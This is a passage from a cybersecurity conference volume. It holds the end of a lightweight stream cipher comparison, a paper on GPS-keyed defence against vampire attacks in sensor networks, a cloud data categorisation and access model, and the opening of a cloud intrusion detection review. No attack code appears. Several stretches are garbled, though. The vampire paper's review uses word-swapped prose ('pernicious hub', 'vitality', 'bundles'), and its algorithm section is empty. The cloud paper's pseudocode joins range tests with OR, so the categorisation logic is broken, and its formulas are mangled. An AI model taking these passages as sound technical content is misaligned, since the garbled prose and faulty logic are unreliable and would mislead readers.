channel attack, key recovery attack, brute force attack, algebraic attack, correlation
attack, timing attack, linear and differential cryptanalysis, time–memory–data
tradeoff attack, distinguishing attack, passive attack, and acoustic cryptanalysis.
Due to their complex internal state and 256-bit key size, it attains more security and
hence it is most suited for embedded applications that are discussed above. The
hybrid model of hummingbird is even categorized into two modules namely,
Hummingbird-1 and Hummingbird-2. Hummingbird-1 is a nice combination of
stream and block cipher [3], with 16-bit block size, 256-bit key, and 80-bit internal
states.

8 Conclusion

In this comparative study, we analyzed different lightweight cryptographic algo-

rithms including hybrid model (of Hummingbird1 and Hummingbird2), several
lightweight stream ciphers have been discussed with their technologies, attack
immune, features as well as drawbacks. Table 2 depicts a comparative study of
several stream ciphers by tending their crucial parameters. Obviously, it is a
promising work for the better analysis and design of a lightweight stream cipher for
resource-constrained devices. Thus, the objective of this comparative study is to
propose an efficient modification on enciphering algorithms, which eliminate most
common attacks on cipher and provide highest throughput.
Table 2 Summarized comparison to depict the differences among various LWC algorithms
Cipher type Block Key IV Attacks immune S-Box Throughput Registers Operator
size size
DESL Block cipher 64 56 Resist LC and DMA 64 Least among No XOR and Shift
single other algorithms
Grain Stream 1 80 64 No better KRA beside BFA No High but less LFSR + NFSR XOR
cipher than
Hummingbird
ECC Asymmetric No 162 – Resist SCA and TA No Better but less No Point addition and
block cipher than point
Hummingbird multiplications
BSF Stream – 128 128 Resist COA, GDA,DA, DGA 8  16 High but less NFSR + FCSR XOR
128 cipher than
Hummingbird
WG-7 LW stream – 80 81 Suffer from DGA, AA No − Word-oriented XOR and
cipher LFSR multiplication
A Comparative Study on Lightweight Cryptography

WG-8 LW stream – 80 80 Able to resist AA, COA, DFA, No High throughput 20 stage LFSR XOR and
cipher CUA, DGA, DFTA, TMDA multiplication
WG LW stream – 128 128 Able to resist AA, COA, DFA, No – 32 stage LFSR XOR and
16 cipher CUA, DGA, DFTA, TMDA multiplication
RC4 Stream No 128 – Some attack based on relationship Yes Best No XOR
cipher between internal state and S-Boxes
Sober Stream – 256 – Secure, have a good immune Yes – LFSR XOR
t-32 cipher
HC Hybrid 16 128– – Most secure, and immune to most 44 Maximum LFSR XOR
cipher 256 of LA, DA, CUA, BDA, AA etc.
AA Algebraic attack; BDA Birthday attack; BFA Brute force attack; COA Correlation attack; CUA Cube attack; DA Determine attack; DFA Differential attack;
DFTA Discrete Fourier transformation attack; DGA Distinguish attack; DMA Davies Murphy attack; GDA Guess &determine attack; HB Hummingbird; IV
Initialization vector; KRA Key recovery attack; LA Linear attack; LC Linear cryptanalysis; LW Lightweight; SCA Side channel attack; TA Timing attack;
TMDA Time–memory–data attack
77
78 M. U. Bokhari and S. Hassan

References

1. Online reference from http://en.wikipedia.org/wiki/Stream_cipher

2. Bokhari MU, Alam S (2013) BSF-128: a new synchronous stream cipher design. In:
Proceeding of international conference on emerging trends in engineering and technology,
pp 541–545
3. Maximov A (2006) Cryptanalysis of the grain family of stream ciphers. In: Proceedings of
ACM symposium on information, computer and communications security, pp 283–288
4. Dinur I, Shamir A (2011) Breaking grain-128 with dynamic cube attacks. In Fast software
encryption. Springer Berlin Heidelberg, pp 167–187
5. Bjøstad TE (2013) Cryptanalysis of grain using time/memory/data tradeoffs
6. Banik S, Maitra S, Sarkar S (2012) A differential fault attack on the grain family of stream
ciphers. Proceeding of 14th international workshop on cryptographic hardware and embedded
systems. Springer, Berlin Heidelberg, Leuven, Belgium, pp 122–139
7. Gupta Sen S (2014) (Non-)random sequences from (Non-)random permutations analysis of
RC4 stream cipher. J Cryptol 27(1):67–108
8. Lv J, Zhang B, Lin D (2014) Some new weaknesses in the RC4 stream cipher. Inf Secur Appl
27(1):8–38
9. Xie J, Pan X (2010) An improved RC4 stream cipher. Proc Int Conf Comput Appl Syst Model
7:156–159
10. Orumiehchiha AM, Pieprzyk J, Steinfeld R (2012) Cryptanalysis of WG-7: a lightweight
stream cipher. Crypt Commun 4(3–4):277–285
11. Nawaz Y, Gong G (2008) WG-7: a family of stream ciphers with designed randomness
properties. Int J Inf Sci 178(7):1903–1916
12. Babbage S, Lano J (2011) Probabilistic factors in the Sober-t stream ciphers. In: Proceeding of
3rd NESSIE workshop, pp 1–12
13. Luo Y (2010) A lightweight stream cipher WG-7 for RFID encryption and authentication. In:
Proceeding of IEEE global telecommunications conference, pp 1–6
14. Fan X, Mandal K, Gong G (2013) WG-8: a lightweight stream cipher for resource-constrained
smart devices. Springer Berlin Heidelberg, pp 617–632
15. Courtois NT, Sean ON, Quisquater JJ (2009) Practical algebraic attacks on the Hitag2 stream
cipher. In: Information security. Springer Berlin Heidelberg, pp 167–176
16. Sun S (2011) Cube cryptanalysis of Hitag2 stream cipher. In: Proceeding of 10th international
conference cryptology and network security. Springer Berlin Heidelberg, CANS, pp 15–25
17. Stembera P, Novotny M (2011) Breaking Hitag2 with reconfigurable hardware. In:
Proceeding on 14th IEEE Euromicro conference on digital system design, pp 558–563
18. Rose G (1998) SOBER II: a stream cipher based on linear feedback over GF (28). In:
Proceeding on 3rd Australasian conference, pp 135–146
19. Hawkes P, Rose GG (2003) Primitive specification for SOBER-128. IACR cryptology ePrint
archive
20. Nguyen PH, Sahoo DP (2014) Lightweight and secure PUFs: a survey. In: 4th international
conference on security, privacy, and applied cryptography engineering. Springer International
Publishing, pp 1–13
21. Nguyen HP (2014) Cryptanalysis of composite PUFs (extended abstract-invited talk). In:
Proceeding of 18th international symposium on VLSI design and test, pp 1–2
22. John J (2012) Cryptography for resource constrained devices: a survey. Proc Int J Comput Sci
Eng 1766–1770
A Comparative Study on Lightweight Cryptography 79

23. Malhotra K, Gardner S, Patz R (2007) Implementation of elliptic-curve cryptography on

mobile healthcare devices. In: Proceeding of IEEE international conference on networking,
sensing and control, pp 239–244
24. Shende RS, Deshpande MAY (2013) VLSI design of secure cryptographic algorithm. Proc
Int J Eng Res Appl 3(2):742–746
GPS Hash Table Based Location
Identifier Algorithm for Security
and Integrity Against Vampire Attacks

S. N. Panda

Abstract Wireless sensor networks are associated with assorted functional aspects
including battery or energy, power, log of neighboring nodes, cache, and number of
services. In a network attack, the malicious node or packet attempts to temporarily
or permanently halt these parameters so that the authentic and realistic communi-
cation can be damaged. Such attacks were previously associated with DDoS attacks
which do not allow the authentic user to access the services. Number of algorithms
devised against DDoS attacks but very less treatment to the vampire attacks which
is more hazardous as it is very difficult for the authentic user to confirm whether
there is any attack on network. It consumes battery of node very rapidly which is
not identified by the network node. In our proposed algorithm, a unique and
effective algorithm for location-based key generation is devised and implemented
which makes use of dynamic key exchange based on the location.

Keywords Vampire attacks Wireless sensor network security


Reliable communication Energy optimization in wireless sensor network

1 Introduction—Vampire Attacks

Vampire attack [1] alludes to making and transmission of information parcels by

pernicious hub that causes tremendous vitality utilization by the system prompting
moderate exhaustion of node’s battery life (Fig. 1).

S. N. Panda (&)
Chitkara University, Rajpura, Punjab, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 81

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_9
82 S. N. Panda

Fig. 1 Vampire attack

2 Features

Vampire attack is not definite to any specific protocol or topology or port. Such
attacks do not interrupt the services directly. It affects the resources using the
services. The vampires make use of protocol compatible or compliant messages
vampire attacks transmit data that drain the energy level of nodes. Vampires do not
change or interrupt altering discovered paths or routes.
Resource Draining Attacks—Such attacks create and send the assaults or attacks
which means the creation and sending the messages by spiteful node by which the
energy consumption is taken a lot by the assault.
Carousal Attack—These attack drastically increases the routing path and length
which creates delay in the networks and also inadequate by the number of allowable
entries in the resource route [2] (Figs. 2 and 3).
Stretch Attack [3]—Such attacks creates the artificial or fake routes using which
the packet can be disguised. The attack forces the data packet to choose the fake
path so that there is huge delay and battery consumption increases. Stateless
GPS Hash Table Based Location Identifier Algorithm … 83

Fig. 2 Carousal attack

Fig. 3 Stretch attack—a scenario of vampire assault

protocols are source routing protocols that keep track of the communication in the
network infrastructure [4]. Here, the source node mentions the complete and whole
route to the destination that is inside the packet header. Intermediaries do not create
the independent or arbitrary forwarding decisions. In stateful protocols, the nodes
have advance information of state, topology, forwarding techniques and routes.
Network nodes create the local forwarding decisions on that stored state.

3 Related Works and Literature Review

The issue of security has gotten significant consideration via specialists in

impromptu systems [5]. Vulnerabilities in WSN could happen in light of specific
measurements as per the qualities of element topology and absence of focal base
station. There are a wide range of sorts of attacks that happen in remote impromptu
sensor systems [6]. There are preventive measures for these attacks in the MAC
layer. A percentage of the strategies are depicted beneath.
84 S. N. Panda

3.1 Path-Based Attacks

These attacks are basic in remote wireless sensor systems. They are normally
alluded as way-based Denial of Service (DoS) attacks [6]. Restricted hash chains
can keep these attacks by constraining the rate at which hubs transmit packets.

3.2 Rushing Attack

Rushing attack happens in on-interest directing conventions like DSR, ad hoc

on-demand distance vector routing (AODV) where course disclosure is finished by
sending REQUEST messages to the neighboring hubs [7].

3.3 Wormhole Attack

In wormhole attack, the vindictive hub builds a passage (way) to the destination in
such a path, to the point that all the bundles from the source are exchanged by
means of the assailant which can change substance of the bundle before sending it
to the destination. To keep this attack, parcel rope system is utilized [8]. A chain is
data added to the bundle in order to confine the parcel’s voyaging separation.

3.4 Routing Infrastructure Attacks

Routing infrastructure concentrates on insignificant vitality steering, which intends

to utilize negligible vitality to transmit and get parcels and by utilizing insignificant
vitality ways to transmit bundles [9]. However, utilizing such plans may lessen the
system network and lifetime of the system. To dodge such issues, a vitality mindful
directing convention, which uses sub-ideal ways, was presented [10]. Numerous
steering ways are available where the convention picks one taking into account
probabilistic qualities. For this situation, each steering way is given an opportunity
to exchange bundles along these lines improving the system lifetime.
GPS Hash Table Based Location Identifier Algorithm … 85

3.5 Asset Exhaustion Attacks

Resource consumption attacks concentrate on lessening the amount of assets uti-

lized by hubs like battery force, stockpiling, memory and so forth therefore
diminishing the general limit of the system [11].
To propose and defend the research work, a number of research papers are
analyzed. Following are the excerpts from the different research work performed by
number of academicians and researchers.
Rong Du et al. [12]—In this paper, the work considers the issue of building a
safe system against hub connivance assault taking into account system division. In
this paper, the work examined the topology outline and system division issue for
pitifully secure against hub trick assault.
Chris Karlof [13]—This work proposes security objectives for steering in sensor
systems, indicates how assaults against specially appointed and shared systems can
be adjusted into effective assaults against sensor systems.
Wenliang Du [14]—This work demonstrates that the execution (counting inte-
gration, memory use, and system versatility against hub catch) of sensor systems
would be able to significantly enhance with the utilization of our proposed plan.
The plan and its nitty-gritty execution assessment are exhibited in this paper.
Roberto Di Pietro [15]—This paper portrays a probabilistic model and two
conventions to build up a protected pairwise correspondence channel between any
pair of sensors in the WSN, by appointing a little arrangement of arbitrary keys to
every sensor.
A. Liu [16]—This paper reports the test assessment of TinyECC on a few basic
sensor stages, including MICAz, Tmote Sky, and Imotel. The assessment results
demonstrate the effects of individual advancements on the execution time and asset
utilizations.
Ben Othman, S. [17]—The reason for this paper is to introduce our starting
exertion in building an adaptable system to accomplish secure information trans-
mission in therapeutic remote sensor systems.
A. C. Jayasudha [18]—In this paper, exploiting so as to group-based restricted
expectation plan is proposed spatial and fleeting connection to have precise
information collection and vitality effective system.
Jun Zhao [19]—This work shows that the number of nodes with an arbitrary
degree asymptotically converges to a Poisson distribution, presenting the asymp-
totic probability distribution for the minimum node degree of the network.
86 S. N. Panda

4 Proposed Algorithmic Steps

5 Implementation, Results, and Discussion

We have simulated the following scenarios in MATLAB for the implementation of

vampire attacks avoidance using GPS sensor locators and timestamp-based key
generation. It is found in the results that the overall integrity and reliability are
improved and battery power consumption is huge (Figs. 4 and 5; Table 1).
GPS Hash Table Based Location Identifier Algorithm … 87

Fig. 4 Proposed model for avoidance of vampire attacks in wireless sensor networks

120

100 ExisƟng Approach

Proposed Approach
80
Battery / Energy 60
Consumption
40

20

0
1 2 3 4
Simulation Attempt

Fig. 5 Comparison between and classical and proposed in terms of energy consumption
88 S. N. Panda

Table 1 Energy consumed in the classical and proposed approach

Number of Existing approach Proposed approach Simulation iterations
wireless nodes
50 90 20 10
50 96 18 20
20 80 29 50
20 100 27 50

6 Conclusion

In the proposed work, to avoid and detract the vampire attacks, an effective
location-based identifier is integrated in the network that will generate a dynamic
key based on the GPS location and current timestamp. Using this approach, the
genuine packets shall not be lost. The packet loss is associated with the malicious
node. In the simulation scenario, the overall integrity and reliability of the network
are improved using the proposed algorithmic approach.

References

1. Vasserman EY, Hopper N (2013) Vampire attacks: draining life from wireless ad hoc sensor
networks. IEEE Trans Mob Comput 12(2):318–332
2. Vijayanand G, Muralidharan R (2014) Overcome vampire attacks problem in wireless ad-hoc
sensor network by using distance vector protocols. Int J Comput Sci Mob Appl 2(1):115–120
3. Manimala S, Devapriya AT (2014) Detection of vampre attack using EWMA in wireless ad
hoc sensor networks. IJISET Int J Innovative Sci Eng Technol 1(3):450–550
4. Khanna MMR, Divya S, Rengarajan A (2007) Securing data packets from vampire attacks in
wireless ad-hoc sensor network. Int J Innov Res Comput Commun Eng 2 (An ISO 3297: 2007
Certified Organization)
5. Kaul S, Samuel H, Anand J (2014) Defending against vampire attacks in wireless sensor
networks. Int J Commun Eng Appl IJCEA 5, Artical C084, March
6. Anand J, Sivachanda K (2014) Vampire attack detection in wireless sensor network. Int J Eng
Sci Innov Technol (IJESIT), 3(4), July
7. Channawar PM, Chavan YV (2015) Vampire attack: energy efficient trust based solution. 3
(7), July
8. Chandekar MRS, Nayyar V (2014) Defending against energy draining attack in ad-hoc
sensing network. 1(V1), November
9. Chumble MSC, Ghonge MM, Mitigation of vampire attack in wireless ad-hoc sensor network
10. Guptha NS, Lavanya NL, Detection and mitigation of vampire attacks in wireless ad-hoc
sensor networks
11. Raikar MR (2014) Prevention of vampire attacks to control routing behavior in wireless ad
hoc sensor networks
12. Du R, Chen C, Yang B, Lu N, Guan X, Shen X (2015) Effective urban traffic monitoring by
vehicular sensor networks. IEEE Trans Vehicul Technol 64(1):273–286
13. Karlof C, Wagner D (2003) Secure routing in wireless sensor networks: attacks and
countermeasures. Ad hoc networks 1(2–3):293–315
GPS Hash Table Based Location Identifier Algorithm … 89

14. Du W, Deng J, Han YS, Chen S, Varshney PK (2004). A key management scheme for
wireless sensor networks using deployment knowledge. In: INFOCOM 2004. Twenty-third
Annual Joint Conference of the IEEE computer and communications societies (vol 1). IEEE,
March
15. Conti M, Di Pietro R, Mancini L, Mei A (2011) Distributed detection of clone attacks in
wireless sensor networks. IEEE T Depen Sec Comput 8(5):685–698
16. Liu A, Ning P (2008) TinyECC: A configurable library for elliptic curve cryptography in
wireless sensor networks. In: Proceedings of the 7th international conference on Information
processing in sensor networks (pp 245–256). IEEE Computer Society, April
17. Othman SB, Bahattab AA, Trad A, Youssef H (2014) Secure data transmission protocol for
medical wireless sensor networks. In: Advanced Information Networking and Applications
(AINA), 2014 IEEE 28th International Conference on (pp 649–656). IEEE, May
18. Jayasudha AC, Venkatesh V (2014) Energy competent cluster based prediction framework for
wireless sensor network
19. Zhao J, Yagan O, Gligor V (2014) On topological properties of wireless sensor networks
under the q-composite key pre-distribution scheme with on/off channels. In: Information
Theory (ISIT), 2014 IEEE International Symposium on (pp 1131–1135). IEEE, June

Dr. S. N. Panda was born in Odisha, India, in 19/08/1969. He

received the B.Sc (Hons.) with distinction from Sambalpur
University, Odisha (India) and the M.Sc and Ph.D. degree in
Computer Science and Engineering from Kurukshetra
University, Kurukshetra, Haryana (India).
Data Security Model in Cloud
Computing Environment

Meena Kumari and Rajender Nath

Abstract Cloud computing (CC) has emerged as the next generation of computing
in IT Enterprise. Earlier, IT services are under proper physical and personnel
control, CC migrates the application softwares and databases to the huge data
centers, where the management of data along with services is done by the cloud
provider. However, this characteristic poses many security challenges which have
not been well understood. This paper focuses on security of data at cloud storage,
which has always been a most important issue in CC security. Many approaches
have been proposed to protect data in cloud which are not sufficient to meet the
requirements of a cloud user. So in this paper, a model for data security at cloud
storage site has been proposed.

Keywords Confidentiality
Integrity
Availability
Protection

Priority

1 Introduction

Cloud computing (CC) is a general term refers to outsourcing of hosted services and
computing resources over the Internet. Here, resources refer to network resources,
virtualized servers, platforms, computing infrastructures, etc. Business profession-
als routinely face several business-related problems. CC adopts concepts from
service-oriented architecture (SOA) that can help the business professionals to
outsource resources and application software’s in the form of services. CC provides
its resources as services using well-established standards and best practices to allow
on-demand and broad network access to cloud services.

M. Kumari (&)
R. Nath

Department of Computer Science and Applications,
Kurukshetra University, Kurukshetra, Haryana, India
e-mail: [email protected]
R. Nath
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 91

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_10
92 M. Kumari and R. Nath

Various Internet-based online services like Amazon EC2, Amazon S3, etc., do
provide tremendous amounts of storage space and computing resources. Storing
data into the cloud storage offers great advantage to its tenants since they do not
have to worry about the complexities involved in management of hardware or
software. Since all the data maintenance tasks are done by cloud storage provider,
this eliminates the burden of local machines. Although CC is a promising service
platform for the Internet technologies, this new computing environment brings
about many challenging issues which had profound influence on its adoption. One
of the biggest issues is cloud data storage security. As the amount of data is
growing, as are the growing need for security. Biggest concerns with cloud data
storage is that of data integrity, confidentiality, and availability at untrusted servers.
The main aim of this paper is to extend/improve the existing three-dimensional
algorithms [1, 2]. Prasad et al. [1] had not included integrity constraint in their
proposed formula for classification and data stored on cloud storage is not in
encrypted form. Authors titled their work as three-dimensional but only two
dimensions (confidentiality and availability) were involved in their proposed work.
In [2], there was no mechanism for addressing the issue of data integrity and user
authorization is done by the cloud provider, due to which there was data owner’s
loss of control issue. This paper is an attempt to overcome these limitations.
The rest of the paper is organized as follows. Section 2 summarizes related
work, Sect. 3 provides the detailed motivation behind this work and Sect. 4 dis-
cusses the data security model for cloud, Sect. 5 provides a comparative analysis of
proposed technique with the existing techniques and Sect. 6 gives some concluding
remarks.

2 Related Work

Kulkarni et al. [3] had proposed a CC framework which works in two phases
namely data classification and 3D accessibility. During data classification phase,
user’s data is classified based on CIA (Confidentiality, Integrity, and Availability)
parameters specified by the user during storage. After classification and using their
proposed formula, the priority rating of data is computed. The data having higher
rating is considered as critical and hence 3D security is recommended for that data.
In accessibility phase, authors had used OTP and two-factor password techniques to
avoid data leakage and impersonation. The author does not provide basis for pro-
posed formula and value of integrity constraint is not used anywhere in the pro-
posed formula.
Prasad et al. [1] and Deokar et al. [4] had proposed the similar technique for
classification of data as proposed in [3]. After classification of data in [1], the user
who wants to retrieve data needs to register first and for every data access user’s
identity is authenticated for certain authorizations whereas in [4], different password
scheme for distinct category of data were proposed. Same problems were identified
in the proposed work as in [3] along with the limitation that the data stored at cloud
Data Security Model in Cloud Computing Environment 93

storage site is unencrypted form and if the username and password are compro-
mised, the data can easily be retrieved by any malicious entity.
Wang et al. [5] had proposed a data integrity verification scheme using homo-
morphic token and erasure codes which facilitate the integrity checking of data
stored at distributed sites. The proposed methodology also supports dynamic data
operations of updation, insertion, and deletion. Their experimental analysis illus-
trates that the proposed scheme is secure against Byzantine failure and can identify
inadvertent data modifications.
Wang et al. [6] had proposed to introduce a third-party auditor (TPA) to check
the integrity of stored data on behalf of cloud user. The client leverages its few
privileges to TPA to audit the correctness of its data due to lack of computational
power. In prior works, most data integrity checking schemes fail to verify data
correctness after performing data modification operations (update, insert, and
delete). Their proposed scheme allows facility to check integrity of updated data
also.
Lijo et al. [7] had presented a user-centric solution for data security. According
to this scheme, a client agent is incorporated to manage the activities of data
auditing on behalf of Cloud user. One of the main limitations of this scheme was
that cloud provider’s approval is required to incorporate client agent in cloud
application. If there is lot of inter-cloud communications involved, then this solu-
tion could not be applied because it further requires consent of other cloud pro-
viders also. As data stored is in encrypted form, the client must be equipped with
some computational power to do encryption and decryption tasks.
In [2], Tirodkar et al. had presented a scheme for data categorization as proposed
in [1], and afterwards, for different category of data a distinct user authentication
scheme was used.

3 Motivation

In the work done by Prasad et al. [1], the following limitations were observed. They
had calculated criticality rating of data on the basis of values passed by user for
respective CIA parameters. The proposed formula was s½i ¼ ðC½i þ ðA½i  10Þ=2,
which do not incorporate integrity parameter. They had also not provided any basis
to derive formula. Further data stored at cloud storage site is in unencrypted form
and if the username and password are lost, the data could easily be accessed by any
malicious user. The formula is supposed to derive CIA parameters in order to be
called as three-dimensional but formula uses two parameters of confidentiality and
availability only. In the work done by Tirodkar et al. [2], they implemented three
different user authentication mechanisms for different categories of data but there is
no provision for addressing the issue of data integrity. Once data is stored at cloud
storage, data owner lost its control over it and cloud storage provider can manage
data leakage to help rival parties.
94 M. Kumari and R. Nath

4 Proposed Data Security Model for Clouds

To address the limitations mentioned in Sect. 3, this paper presents a model for data
security for effective data security in CC. The paper presents improved mechanism
of data handling. The improved technique works in three phases—categorization,
storage, and retrieval. In the following sections, abovementioned phases were
discussed in detail.

4.1 Categorization Phase

As all data sent to the cloud for storage is not equally sensitive, hence a uniform
level of security is not advantageous. Therefore, the data should be categorized
based upon the level of its sensitivity.
When a client wants to upload data for storage in the cloud, he has to provide the
values of confidentiality (C), integrity (I), and availability (A) parameters in the
scale of 1–10. The value of C parameter is based on extent of secrecy required,
value of I parameter is based degree of assurance of accuracy is needed and value of
A is based on how often data is accessed.
The sensitivity rating of the data is computed using the following equation:

SR[x ¼ ðC½x þ ð1=A½xÞ  10 þ I½xÞ=2 ð1Þ

Depending upon the value of SR, data are classified into three categories—
public, confidential, and sensitive. If SR value lies between 1 and 3 (1 and 3
inclusive) then data is labeled as public. If SR value lies between 4 and 6 (4 and 6
inclusive) then data is labeled as confidential and if SR value is greater than 6 then
data is labeled as sensitive.
Algorithm for Categorization of Data

1. Input: D[ ] of n integer size /*data to be uploaded on cloud for storage*/,

C [ ], /*Confidentiality Parameter value*/
I [ ], /*Integrity Parameter value */
A[] /*Availability Parameter value */
2. For x = 1 to n /* n is the no. of data sets*/
SR[x] = (C[x] + (1/A[x])*10 + I[x])/2
/*data security and confidentiality are directly
proportional to integrity and data security is inversely
proportional to availability [5]*/
IF (SR[x] > = 1 OR SR[x] < = 3)
Data_Label[x] = “Public”
ELSEIF (SR[x] > = 4 OR SR[x] < = 6)
Data Security Model in Cloud Computing Environment 95

Data_Label[x] = “Confidential”
ELSE
Data_Label[x] = “Sensitive”
End If
End For
3. Output: D [ ], Data_Label [].

4.2 Storage Phase

After the data is categorized successfully, it has to undergo another processing

mechanism for storage. Figure 1 shows the categories of data along with the kind of
security approach applied at the cloud storage. Public data require minimal security
hence can be secured using login id and password. Confidential data require
moderate level of security hence it is secured by using both the mechanisms of
encryption and user id and password. If data is labeled as sensitive then security
level should be higher which is provided through encryption and MAC.
To keep a check on data integrity Message Authentication Code (MAC) is
attached with the sensitive data. MAC is basically a Hash code which is appended
to the message to have a check on the integrity of data during transmission. If data
is tampered during transmission MAC will not match with the message and one can
ascertain that data is corrupted. With the generation of MAC, the data owner now
sends data to the cloud for storage as shown in Fig. 2.

Fig. 1 Security mechanisms for different category of data

96 M. Kumari and R. Nath

Fig. 2 Data sent to cloud for

storage

4.3 Retrieval Phase

After successful storage of data by cloud provider, there must be secure procedures
for retrieval as well. When a user wants to retrieve data, it has to make a request to
cloud storage provider and needs to register with the owner/organization. After
successful registration user gets a username and a password. This generated user-
name and password are necessary for retrieval of data and at the same time this
username is forwarded to cloud storage to store into its directory for future
transactions.
Table 1 shows the authentication mechanism for a client to have access to a
different category of data [2] depending upon the sensitivity level as characterized
by categorization phase.
The following paragraphs discuss the mechanism of retrieval of data belonging
to different categories, viz., public, confidential, and sensitive.
a. Retrieval of Public Data
When a user wants to retrieve data which belongs to public data category then
user has to register itself if he is already not registered.
User has to send a request along with its registered username to have access to
data. The cloud provider first checks in, to which category requested data
belongs. The cloud provider first checks the username into its stored directory, if
the username does not match with any entry it asks the user for registration. If
the username matches with one entry in directory then it redirects the request to
data owner for authentication as depicted in Fig. 3. After successful authenti-
cation, user will be allowed to access public data.

Table 1 User authentication mechanisms

S. No. Data sensitivity Authentication mechanism
1 Public data Password
2 Confidential data Graphical password
3 Sensitive data E-mail or SMS one-time password (OTP)
Data Security Model in Cloud Computing Environment 97

Fig. 3 Retrieval process for public data

b. Retrieval of Confidential Data

For retrieval of confidential data, user is authenticated using graphical password
[2]. After successful authentication, data owner first sends associated decryption
key to the user and redirects cloud provider to allow access to a particular user.
Encrypted data is sent to the user by cloud storage provider. Using decryption
key user can decrypt data. After this, the user would be able to access data.
c. Retrieval of Sensitive Data
For retrieval of sensitive data, user is authenticated using one-time password
(OTP) through E-mail or SMS [2, 3]. Afterwards data owner send MAC digital
signature and decryption key to the user and redirects cloud storage provider to
allow access. Decryption keys and digital signature associated with data were
kept secret by the data owner itself and issued to user after successful authen-
tication without cloud service provider intervention. Even if data is compro-
mised, it cannot be used as it is encrypted and cloud provider does not have the
98 M. Kumari and R. Nath

decryption keys and associated digital signature. User transmits digital signature
to cloud storage provider. These digital signatures also act as authentication
means to authenticate the user to cloud storage provider. Cloud storage provider
verifies the digital signature and allows access to data. By using the issued
decryption key user can access data.
The following guidelines were followed regarding data access:
• A user granted access on public data is not allowed to access confidential and
sensitive data.
• A user granted access on sensitive data is allowed to access confidential and
public data.

5 Comparison with Existing Approaches

The latest two approaches reported in the literature are [1] and [2]. The proposed
approach is compared with the existing two approaches proposed by Prasad et al.
[1] and Tirodkar et al. [2]. The comparison has been made on the following
parameters—identification and authentication, confidentiality, integrity, availabil-
ity, non-repudiation, encryption, and security if user identity and password are
compromised and security from cloud provider.
The comparison shows that the proposed model fulfills all the parameters listed
in Table 2, while Prasad et al. [1] approach fulfills only four parameters and
Tirodkar et al. [2] fulfills only five parameters.

Table 2 Comparative analysis

Functionality Prasad Tirodkar Proposed work
et al. [1] et al. [2] (2015)
Identification and authentication Yes Yes Yes
Confidentiality Yes Yes Yes
Integrity No No Yes
Availability Yes Yes Yes
Encryption No Optional Yes
Non-repudiation Yes Yes Yes
Secure if user identity and password is No No Yes
compromised
Security from cloud provider No No Yes
Data Security Model in Cloud Computing Environment 99

6 Conclusion

This paper has presented a data security model based on the data sensitivity level.
The model has classified the entire data to be stored in the cloud into three cate-
gories—public, confidential, and sensitive. Depending upon the category, different
kinds of security mechanisms are applied. The proposed model has been compared
with the existing two approaches and has been found much better than other
approaches. In addition, as the user authentication is done by the data owner itself,
it mitigates the issue of loss of control to a much extent and data owner can keep
track of who has accessed its data.

References

1. Prasad P et al (2011) 3 Dimensional security in cloud computing. In: 3rd International

conference on computer research and development, pp 198–201
2. Tirodkar S et al (2014) Improved 3-Dimensional security in cloud computing. Int J Comput
Trends Technol (IJCTT) 9(5)
3. Kulkarni DA et al (2013) 3 Dimensional security in cloud computing. Int J Adv Comput
Theory Eng (IJACTE) 2(2)
4. Deokar V et al (2013) Password generation techniques for accessing cloud services. Int J
Inventive Eng Sci (IJIES) 1(1)
5. Wang C et al (2009) Ensuring data storage security in cloud computing. In: IEEE 17th
International workshop on quality of service (IWQoS 2009), pp 1–9
6. Q Wang et al (2011) Enabling public auditability and data dynamics for storage security in
cloud computing. IEEE Trans Parallel Distrib Syst 22(5):847–858
7. Lijo VP et al (2011) Cloud computing privacy issues and user-centric solution. In: ICIP 2011,
Springer, pp 448–456
8. Carvalho FD et al (2006) Cyberwar-netwar: security in the information age. In: Network
security through science series D: information and communication security, vol 4, p 70
100 M. Kumari and R. Nath

Author Biographies

Meena Kumari received her MCA degree from Kurukshetra

University, Kurukshetra, Haryana, India in 2012. She is pursuing
her Ph.D. degree in Computer Science from the department of
computer science and applications of Kurukshetra University,
Kurukshetra. Currently she is teaching as an assistant professor in
Kurukshetra University. Her research area include Cloud
Computing Security, Hashing, Cryptography and Networking.

Rajender Nath is working as a Professor in the Department of

Computer Science and Applications of Kurukshetra University,
Kurukshetra, Haryana, India. His areas of specialization
includes Computer Architecture, Object Oriented Modelling &
Programming, UML, Cloud Computing, Search Engines,
Biometrics, and Security in MANETS.
Review of CIDS and Techniques
of Detection of Malicious Insiders
in Cloud-Based Environment

Priya Oberoi and Sumit Mittal

Abstract Cloud computing has gained an extreme importance nowadays. Every

organization is getting attracted toward the Cloud computing due to its attractive
features like cost saving, adaptability, etc. Although it offers the attractive features
but still Cloud threats need great consideration. The insider threat is critically
challenging in the Cloud-based environments. In order to mitigate from insider
attacks in Clouds, the use of Intrusion detection system (IDS) is quite challenging.
Every type of IDS has different methods of attack detection. So, single IDS cannot
guarantee the protection from all types of attacks. Thus, in this paper, we have
studied the various types of IDS and their features which made them either suitable
or unsuitable for cloud computing. Also on the basis of review, required features for
the Cloud-based IDS are identified.

Keywords Intrusion detection system
Cloud computing
Cloud security

CIDS

1 Introduction

In recent times, the IT infrastructure is outsourced by the companies to the Cloud in

order to get the benefits offered by the Clouds like scalability, rapid provisioning,
and reduced cost. In spite of the advantages offered by Clouds, security in general
and malicious insider threats in particular has been the most critical area of concern
of the organizations. Thus, gaining the trust of the Cloud users’ security from the
insider threats is important to achieve [1, 2]. The traditional mechanisms of
intrusion detection are not flexible enough to manage with the needs of Clouds,

P. Oberoi (&)
S. Mittal

M.M. Institute of Computer Technology & Business Management, Maharishi
Markandeshwar (Deemed to be University), Mullana, Ambala, Haryana, India
e-mail: [email protected]
S. Mittal
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 101

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_11
102 P. Oberoi and S. Mittal

such as frequent changes in infrastructure. In this paper, we study the problem of

insider threats within the domain of Cloud computing. Also, we have studied the
various intrusion detection systems available for the Cloud environments and
identified the characteristics which are offered by the existing systems and the needs
for the future improvements.

2 Cloud Computing: A Security Perspective

